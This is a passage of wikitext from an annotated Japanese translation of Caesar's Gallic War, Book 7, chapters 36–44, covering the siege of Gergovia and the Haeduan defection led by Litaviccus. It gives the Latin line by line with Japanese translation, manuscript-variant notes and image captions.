**それに対して、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、山中の城塞都市の近くに陣営を設置して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in monte は &amp;beta;系写本にある記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*mediocribus circum se intervallis separatim singularum &lt;u&gt;civitatum&lt;/u&gt; copias conlocaverat 
**自陣の周りに、適切な間隔で個々の部族の軍勢を別々に駐屯させて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本B･M･L･Nでは [[wikt:en:civitatum#Latin|civitatum]] という語形だが、&lt;br&gt;　　　　　　　　　&amp;chi;系･&amp;beta;系写本･写本Sでは [[wikt:en:civitatium#Latin|civitatium]] の語形となっている。）&lt;/span&gt;

*atque omnibus eius iugi collibus occupatis, qua despici poterat, 
**その尾根のうち（山麓を）見下ろすことができたすべての丘陵を占有して、
*horribilem speciem praebebat; 
**恐ろしげな姿を現わした。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; principesque earum &lt;u&gt;civitatum&lt;/u&gt;, quos sibi ad consilium capiendum delegerat, 
**（ウェルキンゲトリークス）自らが作戦を立てるために選び出していた諸部族の領袖たちに
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の語形については、上述と同様。）&lt;/span&gt;
*prima luce cotidie ad se convenire iubebat, 
**毎日、夜明けに自分のところへ集まることを命じた。
*&lt;u&gt;seu&lt;/u&gt; quid communicandum, &lt;u&gt;seu&lt;/u&gt; quid administrandum videretur, 
**何らかのことを伝達･協議するのか、あるいは何らかのことを指導するのだと思われる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：seu ～ seu …「あるいは～、あるいは…」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; neque ullum fere diem intermittebat, quin equestri proelio interiectis sagittariis, 
**騎兵戦に弓兵を介在させることを、ほとんどどの日も中断せずに、
*quid in quoque esset animi ac virtutis suorum, &lt;u&gt;periclitaretur&lt;/u&gt;. 
**どのような心構えや武勇が、配下の者たちのおのおのにあるかを、吟味した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:periclitaretur#Latin|periclitaretur]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:perspiceretur#Latin|perspiceretur]] 、&lt;br&gt;　　　　　　　　　写本Tの一部では [[wikt:en:perspiceret#Latin|perspiceret]] となっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Erat [[wikt:en:e_regione#Latin|e regione]] oppidi collis sub ipsis radicibus montis 
**山のその麓の下方に、城塞都市の真向かいに、丘陵があって、
*egregie munitus atque ex omni parte circumcisus; 
**あらゆる方面から周囲が険しくて、（その地形により）すばらしく護られていた。
*quem si tenerent nostri, et aquae magna parte et pabulatione libera prohibituri hostes videbantur. 
**もし、それを我が方（ローマ勢）が占めれば、水源の大半と自由な糧秣徴発から敵たちを妨げるであろうと思われた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sed is locus praesidio ab his, non &lt;u&gt;nimis firmo&lt;/u&gt;, &lt;u&gt;tamen tenebatur&lt;/u&gt;. 
**だが、その地点は、彼ら（ガッリア勢）により、大して強力ではない守備隊で占められていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の nimis firmo は主要写本&amp;omega;の記述だが、Zuckerによる infirmo という修正提案がある。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の tamen tenebatur の語順は、[[ガリア戦記/注解編/写本と校訂版#Oudendorpius|Oudendorpius]] による修正提案で、&lt;br&gt;　　　　　　　　　写本では tenebatur tamen となっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;(Tamen)&lt;/u&gt; silentio noctis Caesar ex castris egressus, 
**にもかかわらず（昼間ではなく）夜の静けさのうちに、カエサルは陣営から出撃して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：tamen については、上記を参照。）&lt;/span&gt;
*priusquam subsidio ex oppido veniri posset, 
**城塞都市（のそばの陣営）から援兵に来られるより前に、
*deiecto praesidio potitus loco duas ibi legiones conlocavit 
**守備隊を追い出して、地点を占拠して、そこに2個[[w:ローマ軍団|軍団]]を駐屯させた。
*fossamque duplicem duodenum pedum a maioribus castris ad minora perduxit, 
**12&lt;u&gt;ペース&lt;/u&gt;の二重の堀を、より大きな陣営から（この丘陵の）より小さな陣営へ至らしめた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、12ペースは約3.6メートル。）&lt;/span&gt;
*ut tuto ab repentino hostium incursu etiam singuli commeare possent.
**敵たちの不意の襲撃から安全に、1人1人が往来することができるように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===37節===
'''ハエドゥイー族のコンウィクトリタウィスがガッリア同盟軍に内応する'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアのところでなされている間に、
*Convictolitavis [[w:la:Haedui|Haeduus]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]のコンウィクトリタウィスは、
*cui magistratum adiudicatum a Caesare demonstravimus, 
**その者はカエサルによって統領として承認されたと（[[#33節|33節]]で）既述したが、
*sollicitatus ab Arvernis pecunia cum quibusdam adulescentibus conloquitur, 
**[[w:アルウェルニ族|アルウェルニー族]]により金銭でそそのかされて、ある若者たちと談判した。
*quorum erat princeps Litaviccus atque eius fratres, 
**その者たちの領袖は[[w:リタウィックス|リタウィックス]]とその兄弟たちであり、
*amplissima familia nati adulescentes. 
**とても強大な一族に生まれた若者たちだった。
*②　Cum his praemium communicat 
**彼らとともに（アルウェルニー族からの）報酬を共有して、
*hortaturque, ut se liberos et imperio natos meminerint. 
**自分たちが自由民で支配層の生まれであるのを思い起こせ、と鼓舞した。
*③　Unam esse Haeduorum civitatem, quae certissimam Galliae victoriam distineat&lt;ref&gt;distineat はM･N･π･R写本などの記述で、Q･U写本などでは destineat 、A･B･S写本などでは dedistineat などとなっている。&lt;/ref&gt;; 
**ハエドゥイーの部族国家は、ガッリアの至極確実な勝利を阻んでいる唯一のものであり、
*eius auctoritate reliquas contineri; 
**その声望により、ほかの（同盟部族の）ものたちが（ローマ側に）保持されているが、
*qua traducta locum consistendi Romanis in Gallia non fore. 
**それが（ガッリア勢に）引き入れられることによって、ガッリアにおいてローマ人が留まり続ける場はないであろう。
*④　Esse nonnullo se Caesaris beneficio adfectum, 
**自分はカエサルの少なからぬ恩義をかけられているが、
*sic tamen, ut iustissimam apud eum causam obtinuerit; 
**しかし、彼（カエサル）のもとで至極合法的な理由を手に入れたまでであり、
*sed plus communi libertati tribuere. 
**しかし、（ガッリアの）共通の自由に従うことの方がより大きい。
*⑤　Cur enim potius Haedui de suo iure et de legibus ad Caesarem disceptatorem quam Romani ad Haeduos veniant? 
**なぜ実際、ハエドゥイー族は自らの法令や法制について、ローマ人がハエドゥイー族へ来るよりむしろ、カエサルを仲裁者とするのか？
*⑥　Celeriter adulescentibus et oratione magistratus et praemio deductis, 
**若者たちは速やかに、統領の演説と報酬によって導き入れられた。
*cum se vel principes eius consilii fore profiterentur, 
**自分たちがその謀計の首謀者にすらなろうと申し出たときに、
*ratio perficiendi quaerebatur, 
**（謀計を）成し遂げる方法が求められた。
*quod civitatem temere ad suscipiendum bellum adduci posse non confidebant. 
**というのは、部族がむやみに（ローマ人との）戦争実行へ動かされることができるとは確信していなかったからだ。
*⑦　Placuit, ut Litaviccus decem illis milibus, quae Caesari ad bellum mitterentur, praeficeretur atque ea ducenda curaret, 
**リタウィックスに、カエサルに戦争のために派遣されるあの（歩兵）1万名を指揮させ率いさせるのが良いとされた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵1万名については[[#34節|34節]]を参照。）&lt;/span&gt;
*fratresque eius ad Caesarem praecurrerent. 
**彼の兄弟たちは、カエサルのところへ先立って行った。
*Reliqua qua ratione agi placeat constituunt.
**残りのことが、どのようなやり方で行なわれるのが良いかが決められた。

===38節===
'''リタウィックスの鼓舞でハエドゥイー族の歩兵1万が挙兵する'''
*①　Litaviccus accepto exercitu 
**リタウィックスは（1万名の）歩兵隊を受け取って、
*cum milia passuum circiter XXX(triginta)&lt;ref&gt;XXX(triginta) はα系写本の記述で、β系写本では XL(quadraginta) となっている。&lt;/ref&gt; ab&lt;ref&gt;ab は写本(ω)の記述であるが、モイゼル（Henricus Meusel）は a を提案している。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] abesset, 
**[[w:ゲルゴウィア|ゲルゴウィア]]から約30[[w:ローママイル|ローママイル]]（＝45km弱）離れたところに来たときに、
*convocatis subito militibus lacrimans, 
**兵士たちを突然に呼び集めて、泣きながら、
*②　&quot;Quo proficiscimur,&quot; inquit, &quot;milites? 
**「兵士らよ、どこへ我々は進むのか？」と言った。
*Omnis noster equitatus, omnis nobilitas interiit; 
**「我が方（ハエドゥイー族）のすべての[[w:騎兵|騎兵隊]]とすべての高貴な者たちは滅んだ。
*principes civitatis, [[w:la:Eporedorix|Eporedorix]] et Viridomarus, 
**部族の領袖たち、エポレドリクスとウィリドマルスは、
*insimulati proditionis ab Romanis indicta causa interfecti sunt. 
**裏切りの罪を着せられて、ローマ人たちによって、弁解の余地なく殺されてしまったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：indicta causa「弁解の余地なく」）&lt;/span&gt;
*③　Haec ab ipsis&lt;ref&gt;ipsis はα系写本の記述で、β系写本では his となっている。&lt;/ref&gt; cognoscite, qui ex ipsa caede fugerunt; 
**これは、その虐殺から逃げて来た当人たちから聞き知ってくれ。
*nam ego fratribus atque omnibus meis propinquis interfectis 
**なぜなら、私は、兄弟たちやすべての我が親族たちが殺されて
*dolore prohibeor, quae gesta sunt, pronuntiare.&quot; 
**悲嘆により、なされたことを物語ることを妨げられているからだ。」
*④　Producuntur hi&lt;ref&gt;hi はφ･β系写本の記述で、A写本では ii 、Q写本では hii となっている。&lt;/ref&gt;, quos ille edocuerat quae dici vellet, 
**彼（リタウィックス）が言って欲しいことを教え込んでいた者たちが連れ出されて来て、
*atque eadem, quae Litaviccus pronuntiaverat, multitudini exponunt: 
**リタウィックスが物語ったのと同じことを群衆に説明した。
*⑤　multos&lt;ref&gt;multos はα系写本の記述で、β系写本では omnes となっている。&lt;/ref&gt; equites [[w:la:Haedui|Haeduorum]] interfectos, quod conlocuti cum Arvernis dicerentur; 
**ハエドゥイー族の多くの騎兵たちは、アルウェルニー族と談判したと言われたので、殺された、と。
*ipsos se inter multitudinem militum occultasse atque ex media caede fugisse. 
**（彼ら）自身は、兵士ら多数の間に身を隠して、虐殺の最中から逃げて来たのだ、と。
*⑥　Conclamant Haedui et Litaviccum obsecrant, ut sibi consulat. 
**ハエドゥイー族の者たちは叫び声を上げて、リタウィックスに、自分たちに（どうするべきか）助言するように懇願した。
*&quot;Quasi vero&quot; inquit ille &quot;consilii sit res, ac non necesse sit 
**彼は言った「実にあたかも、事態が協議するべきというかのようだ。（協議する）必要はないのだ。
*nobis Gergoviam contendere et cum Arvernis nosmet coniungere. 
**我々にとって、ゲルゴウィアに急行して、アルウェルニー族と我々が合流することは。
*⑦　An dubitamus, quin nefario facinore admisso Romani iam ad nos interficiendos concurrant? 
**非道の悪行を犯したローマ人がもはや我々を殺戮するために襲いかかって来ることを疑うのかね？
*⑧　Proinde, si quid in nobis animi est, 
**それゆえに、もし我々に何らかの心構えがあるならば、
*persequamur eorum mortem, qui indignissime interierunt, 
**とても不面目に滅びた者たちの死に仇討ちしようではないか。
*atque hos latrones interficiamus.&quot; 
**かの略奪者たち（ローマ人）を誅殺しようではないか。」
*Ostendit cives Romanos, qui eius praesidii fiducia una erant&lt;ref&gt;erant は写本(ω)の記述であるが、モムゼン（Mommsen）らは ierant を提案している。&lt;/ref&gt;: 
**（リタウィックスは）彼の護衛を信頼して一緒にいたローマ市民たちを示した。
*⑨　Continuo&lt;ref&gt;Continuo はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; magnum numerum frumenti commeatusque diripit, 
**ただちに、（ローマ市民たちの）糧食や必需品の多数を略奪して、
*ipsos crudeliter excruciatos interficit. 
**当人たちを残酷に拷問して殺した。
*⑩　Nuntios tota civitate Haeduorum dimittit, 
**ハエドゥイー族の伝令たちを、部族全体にわたって遣わして、
*in&lt;ref&gt;in はβ系写本の記述だが、α系写本にはない。&lt;/ref&gt; eodem mendacio de caede equitum et principum permovet&lt;ref&gt;permovet はL･N写本の記述だが、B写本では permanet 、χ･M･S･β系写本などでは permonet となっている。&lt;/ref&gt;; 
**騎兵や領袖たちの虐殺について、同じ嘘によって扇動した。
*hortatur ut simili ratione atque ipse fecerit suas iniurias persequantur.
**（リタウィックス）自身がしたのと同様のやり方で、自分たちの（受けた）無法に仇討ちするようにと鼓舞した。

===39節===
'''エポレドリクスがハエドゥイー勢1万の寝返りをカエサルに知らせる'''
*①　[[w:la:Eporedorix|Eporedorix]] [[w:la:Haedui|Haeduus]], summo loco natus adulescens et summae domi potentiae, 
**[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:エポレドリクス|エポレドリクス]]は、最高の身分に生まれた青年で、本国で最高の権勢にあった。
*et una Viridomarus, pari aetate et gratia, sed genere dispari, 
**とともに、[[w:ウィリドマルス|ウィリドマルス]]も、同じ年輩で、同様に敬意を受けていたが、異なる階級であった。
*quem Caesar ab Diviciaco sibi traditum ex humili loco ad summam dignitatem perduxerat, 
**カエサルは彼を[[w:ディウィキアクス|ディウィキアクス]]により託されて、低い身分から最高の地位へと引き立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ディウィキアクスはかつてローマに援助を求めた有力者で、カエサルに殺されたドゥムノリクスの兄弟。）&lt;/span&gt;
*in equitum numero convenerant nominatim ab eo evocati. 
**（その2人は）彼（カエサル）から名指しで呼び出されて、[[w:騎兵|騎兵]]として（ローマの陣中に）一緒に来ていた。
*②　His erat inter se de principatu contentio 
**彼ら（2人）には、互いに指揮官の座についての競争があって、
*et in illa magistratuum controversia 
**あの統領をめぐる紛争においても
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*alter pro Convictolitavi, alter pro Coto summis opibus pugnaverant&lt;ref&gt;pugnaverant はα系写本の記述で、β系写本では pugnaverat となっている。&lt;/ref&gt;. 
**一方は[[w:コンウィクトリタウィス|コンウィクトリタウィス]]のために、他方は[[w:コトゥス|コトゥス]]のために、最大限の助力で奮闘していた。
*③　Ex his Eporedorix cognito Litavicci consilio 
**彼らのうちエポレドリクスが[[w:リタウィックス|リタウィックス]]の謀計を知って、
*media fere nocte rem ad Caesarem defert; 
**ほぼ真夜中に、事情をカエサルのところへ報知した。
*orat ne patiatur civitatem pravis adulescentium consiliis ab amicitia populi Romani deficere; 
**（ハエドゥイーの）部族が青年たちのゆがんだ謀計によってローマ人民の友好から背くことを容認しないように懇願した。
*quod futurum provideat, si se tot hominum milia cum hostibus coniunxerint, 
**もし、このように多くの幾千もの同胞が敵たちと協同するならば、（上記の）ことが生じると用心するように、と。
*quorum salutem neque propinqui neglegere, 
**（寝返った1万の歩兵たちの）縁者たちは彼らの身の安全をなおざりにすることはないし、
*neque civitas levi momento aestimare posset.
**部族が（寝返った歩兵たちの）影響力を軽く評価できない、と。

===40節===
'''カエサルが4個軍団を率いてハエドゥイー勢1万を制止し、リタウィックスは逃亡'''
*①　Magna adfectus sollicitudine hoc nuntio Caesar, 
**この知らせにより、大きな不安を感じたカエサルは、
*quod semper [[w:la:Haedui|Haeduorum]] civitati praecipue indulserat, 
**常に[[w:ハエドゥイ族|ハエドゥイーの部族]]にとくに気遣っていたので、
*nulla interposita dubitatione legiones expeditas quattuor equitatumque omnem ex castris educit; 
**何らためらいを差しはさまずに、戦備を整えた4個[[w:ローマ軍団|軍団]]と[[w:騎兵|騎兵隊]]すべてを陣営から進発させた。
*②　nec fuit spatium tali tempore ad contrahenda castra, 
**このような情勢で、陣営を縮小するための余地はなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[#36節|36節]]で、カエサルはゲルゴウィアの大きな陣営および敵に近い小さな陣営を6個軍団で守っていた。）&lt;/span&gt;
*quod res posita in celeritate videbatur; 
**というのは、事態は迅速さにかかっていると思われたからだ。
*C.(Gaium) Fabium legatum cum legionibus duabus castris praesidio relinquit. 
**総督副官[[w:ガイウス・ファビウス|ガイウス・ファビウス]]を2個軍団とともに陣営の守備に残しておいた。
*③　Fratres Litavicci cum comprehendi iussisset, 
**（カエサルは）リタウィックスの兄弟たちを拘束することを命じていたのだが、
*paulo ante reperit ad hostes fugisse. 
**少し前に（ゲルゴウィアの）敵たちのところへ去ったことを探り出した。
*④　Adhortatus milites ne necessario tempore itineris labore permoveantur, 
**（カエサルは）緊急の時に、行軍の労苦により乱されないように、兵士たちを激励して、
*cupidissimis omnibus progressus milia passuum [[w:la:Viginti quinque|XXV]] agmen Haeduorum conspicatus&lt;ref&gt;conspicatus はα系写本の記述で、β系写本では conspicatur となっている。&lt;/ref&gt; 
**皆がとても熱中していたので、25[[w:|ローママイル]]（約37km）進んで、ハエドゥイー族の隊列を視認した。
*immisso equitatu iter eorum moratur atque impedit 
**騎兵隊を突進させて、彼ら（ハエドゥイー勢）の行軍を妨げて、停止させた。
*interdicitque omnibus ne quemquam interficiant. 
**（ハエドゥイー勢を）誰一人殺さないように（ローマ勢の）皆に禁じた。
*⑤　[[w:la:Eporedorix|Eporedorigem]] et Viridomarum, quos illi interfectos existimabant, 
**彼ら（ハエドゥイー勢）が、殺されたものと考えていた者たち、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]に、
*inter equites versari suosque appellare iubet. 
**（ハエドゥイー勢の）騎兵たちの間を歩き回って、味方に呼びかけることを命じた。
*⑥　His cognitis et Litavicci fraude perspecta Haedui manus tendere, 
**彼ら（2人）に気付いて、リタウィックスのごまかしを見通して、ハエドゥイー族の者たちは手を差し出して、
*deditionem significare et proiectis armis mortem deprecari incipiunt. 
**降伏の意を表して、武器を投げ出して、死を赦免されることを求め始めた。
*⑦　Litaviccus cum suis clientibus, 
**[[w:リタウィックス|リタウィックス]]は、配下の子分たちとともに、
*quibus more Gallorum nefas est etiam in extrema fortuna deserere patronos, 
**ガッリア人の風習では、最悪の境遇にあってさえも（子分が自分の）親分を見捨てることは非道であったので、
*[[w:la:Gergovia|Gergoviam]] profugit.
**（親分・子分ともども）[[w:ゲルゴウィア|ゲルゴウィア]]に逃れた。

===41節===
'''副官ファビウスの報告：ゲルゴウィアの敵勢がローマ陣営に襲来'''
*①　Caesar nuntiis ad civitatem [[w:la:Haedui|Haeduorum]] missis, 
**カエサルは伝令たちを[[w:ハエドゥイ族|ハエドゥイー]]の部族（当局）に遣わして、
*qui suo beneficio conservatos docerent quos iure belli interficere potuisset, 
**彼ら（伝令）に、戦時の権限により殺せた者たち（歩兵1万）は（カエサル）自らの恩恵により許されたのだ、と説かせた。
*tribusque horis noctis exercitui ad quietem datis castra ad [[w:la:Gergovia|Gergoviam]] movit. 
**（カエサルは）夜の3時間を軍隊に休息のために与えて、陣営を引き払ってゲルゴウィアの方へ向かった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：古代ローマの不定時法では、夏季の夜の3時間は、現在の定時法の3時間よりかなり短い。）&lt;/span&gt;
*②　Medio fere itinere equites a Fabio missi, 
**（ゲルゴウィアへの）道程のほぼ中間のところで、ファビウスから[[w:騎兵|騎兵]]たちが遣わされて来て、
*quanto res in periculo fuerit, exponunt. 
**事態がどれほどの危機にあるか、を打ち明けた。
*Summis copiis castra oppugnata demonstrant, 
**（ガッリア勢の）最大級の軍勢により（ローマ勢の）陣営が攻撃された、と説明した。
*cum crebro integri defessis succederent 
**そのときに（ガッリア勢は）たびたび新たな者たちが疲労した者たちに交代していたが、
*nostrosque adsiduo labore defatigarent, 
**我が方（ローマ勢）は絶え間ない労苦により疲れ果てていた。
*quibus propter magnitudinem castrorum perpetuo esset isdem in vallo permanendum. 
**彼ら（ローマ勢）にとり、陣営の大きさのために、同じ者たちが防柵の中に留まらざるを得なかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは[[#40節|40節]]②項で「陣営を縮小するための余地はなかった」とあらかじめ弁解している。）&lt;/span&gt;
*③　Multitudine sagittarum atque omnis generis&lt;ref&gt;omnis generis はα系写本の記述で、β系写本では omni genere となっている。&lt;/ref&gt; telorum multos vulneratos; 
**（ガッリア勢からの）矢の多数と飛び道具のあらゆる類いによって（ローマ勢の）多くのものが傷つけられた。
*ad haec sustinenda magno usui fuisse tormenta. 
**これに持ちこたえるために、投石器が大いに役立った。
*④　Fabium discessu eorum duabus relictis portis obstruere ceteras 
**ファビウスは、彼ら（ガッリア勢）が退却すると、2つの門を残して、ほか（の門）を閉鎖した。
*pluteosque vallo addere et se in posterum diem similemque casum apparare&lt;ref&gt;similemque casum apparare はα系写本の記述で、β系写本では similem ad casum parare となっている。&lt;/ref&gt;. 
**胸壁を防柵を付け加えて、翌日における似たような状況に備えた。
*⑤　His rebus cognitis Caesar 
**これらの事態を知って、カエサルは、
*summo studio militum ante ortum solis in castra pervenit.
**兵士たちの最大級の努力によって、日の出の前に（ゲルゴウィアの）陣営に到着した。

===42節===
'''ハエドゥイー族の者たちが反ローマ暴動を引き起こす'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアの辺りでなされている間に、
*[[w:la:Haedui|Haedui]] primis nuntiis ab Litavicco acceptis 
**[[w:ハエドゥイ族|ハエドゥイー族]]の者たちは、[[w:リタウィックス|リタウィックス]]からの最初の知らせを受け取ったが、
*nullum sibi ad cognoscendum spatium relinquunt. 
**自分たちには（この知らせを）調べるための余地を何ら残さなかった。
*②　Impellit alios avaritia, alios iracundia et temeritas 
**ある者たちを貪欲さが、ある者たちを激しやすさや無分別が駆り立てた。
*─ quae maxime illi hominum generi est innata ─ ut levem auditionem habeant pro re comperta. 
**あの種族の人々はとりわけ、軽率な風聞を確認された事として見なすように、生まれついているのだ。
*③　Bona civium Romanorum diripiunt, caedes faciunt, in servitutem abstrahunt. 
**（ハエドゥイー族の者たちは）ローマ市民たちの財産を略奪し、殺戮を行なって、隷属状態に引きずり込んだ。
*④　Adiuvat rem proclinatam Convictolitavis 
**（さらに）傾いた事態を[[w:コンウィクトリタウィス|コンウィクトリタウィス]]が助長して、
*plebemque ad furorem impellit, ut facinore admisso ad sanitatem reverti pudeat. 
**民衆を狂暴さへと、悪行を犯して冷静さへ引き返すことを恥と思うように、駆り立てた。
*⑤　M.(Marcum) Aristium tribunum militum iter ad legionem facientem 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるマルクス・アリスティウスが[[w:ローマ軍団|軍団]]のところへ旅しているところを
*fide data ex oppido [[w:la:Cabillonum|Cavillono]] educunt; 
**（安全の）保証を与えて、城塞都市カウィッロヌムから連れ出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌム Cavillonum はカビッロヌム Cabillonum とも綴り、現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]）&lt;/span&gt;
*idem facere cogunt eos, qui negotiandi causa ibi constiterant. 
**そこに商売をするために定住していた（ローマ人の）者たちにも同じことをするように強要した。
*⑥　Hos continuo &lt;in&gt;&lt;ref&gt;in は写本にないが、近世の活字本から挿入されている。&lt;/ref&gt; itinere adorti omnibus impedimentis exuunt; 
**直ちに彼らを途中で襲撃して、すべての手荷物を奪い取った。
*repugnantes diem noctemque obsident; 
**抵抗する者たちを昼夜にわたって包囲した。
*multis utrimque interfectis 
**（ハエドゥイー族とローマ人の）双方とも多くの者たちが殺されて、
*maiorem multitudinem armatorum&lt;ref&gt;armatorum はα系写本の記述で、β系写本では ad arma となっている。&lt;/ref&gt; concitant.
**（ハエドゥイー族の）より多くの群衆を武装へと扇動した。

===43節===
'''ハエドゥイー族当局がカエサルに屈服。ガッリア大動乱の予感'''
*①　Interim nuntio adlato omnes eorum milites in potestate Caesaris teneri, 
**その間に、彼ら（ハエドゥイー族）の兵士すべてがカエサルの権力下で支配されているという知らせがもたらされて、
*concurrunt ad Aristium, 
**（ハエドゥイー族当局の者たちは）アリスティウスのところへ急ぎ集まって、
*nihil publico factum consilio demonstrant; 
**（ローマ市民に対する襲撃は）何ら公けに企てがなされたものではないと説明した。
*②　quaestionem de bonis direptis decernunt, 
**（部族当局は、ローマ市民から）略奪された財産についての究明を決定して、
*Litavicci fratrumque bona publicant, 
**リタウィックスと兄弟たちの財産を没収し、
*legatos ad Caesarem sui purgandi gratia mittunt. 
**カエサルのところへ使節たちを、自分たちを赦免することのために遣わした。
*③　Haec faciunt reciperandorum&lt;ref&gt;reciperandorum はα系写本の記述で、β系写本では recuperandorum となっている。&lt;/ref&gt; suorum causa; 
**これらを、配下の者たち（＝歩兵1万名）を取り戻すために行なったのだ。
*sed contaminati facinore et capti compendio ex direptis bonis, 
**しかし（彼らは）悪行に汚染されていて、略奪した財産の利得にとらわれており、
*quod ea res ad multos pertinebat, timore&lt;ref&gt;timore はα系写本の記述で、β系写本では et timore となっている。&lt;/ref&gt; poenae exterriti 
**その事に多くの者たちが関与していたので、懲罰の恐れに脅かされて、
*consilia clam de bello inire incipiunt 
**ひそかに戦争の謀計に取りかかり始めて、
*civitatesque reliquas legationibus sollicitant. 
**ほかの諸部族を使節派遣によって、そそのかした。
*④　Quae tametsi Caesar intellegebat, tamen quam mitissime potest legatos appellat; 
**カエサルはそのようなことを認識していたけれども、（ハエドゥイー族の）使節たちにできるだけ平静に話しかけた。
*nihil se propter inscientiam levitatemque vulgi gravius de civitate iudicare 
**自分は（ハエドゥイー族の）民衆の無知や軽率さのために、部族を何ら厳重に裁断することはない、と。
*neque de sua in [[w:la:Haedui|Haeduos]] benevolentia deminuere. 
**自分のハエドゥイー族に対する好意を減ずることはない、と。
*⑤　Ipse maiorem Galliae motum exspectans, 
**（カエサル）自身は、ガッリアのより大きな動乱を予期しており、
*ne ab omnibus civitatibus circumsisteretur, 
**すべての部族によって包囲されることがないように、
*consilia inibat, quemadmodum ab&lt;ref&gt;ab はχ系写本の記述で、φ系写本では a となっており、β系写本にはない。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] discederet ac rursus omnem exercitum contraheret, 
**どのようにゲルゴウィアから撤退して再び軍隊全体を集結するか、策定に取りかかった。
*ne profectio nata ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; timore defectionis similis&lt;ref&gt;similis はα系写本の記述で、β系写本では similisque となっている。&lt;/ref&gt; fugae videretur.
**（諸部族の）背反の恐れから生じた出発が、逃亡同然と見られないように。

===44節===
'''ゲルゴウィアの急所の尾根'''
[[画像:Plateau_of_Gergovia.jpg|thumb|center|900px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の全景（南方のル・クレスト [[w:fr:Le Crest|Le Crest]] から撮影）。&lt;br&gt;画像中央の右下に、ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵が見える。&lt;br&gt;本節①項で言及されているのは画像の左端に写る丘陵と思われ、尾根伝いにほぼ平坦なゲルゴウィアの山頂（画像中央）に続いている。&lt;br&gt;これらの位置関係の推定は、19世紀の[[w:ウジェーヌ・ストッフェル|ウジェーヌ・ストッフェル]]大佐（colonel Eugène Stoffel）の発掘調査に依拠したものである。]]
[[画像:La_Roche_Blanche.JPG|thumb|right|300px|ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵]]

*①　Haec cogitanti accidere visa est facultas bene rei gerendae&lt;ref&gt;rei gerendae はα系写本の記述で、β系写本では gerendae rei となっている。&lt;/ref&gt;. 
**（カエサルが）これらを考慮しているときに、事をうまく行なえる可能性が生じたと思われた。
*Nam cum in minora castra operis perspiciendi causa venisset, 
**すなわち、（ローマ勢の）小さい方の陣営に、作業を視察するためにやって来たときに、
*animadvertit collem qui ab hostibus tenebatur nudatum hominibus, 
**敵たちによって占められていた丘陵が、無人にされているのに気付いた。
*qui superioribus diebus vix prae multitudine cerni poterat. 
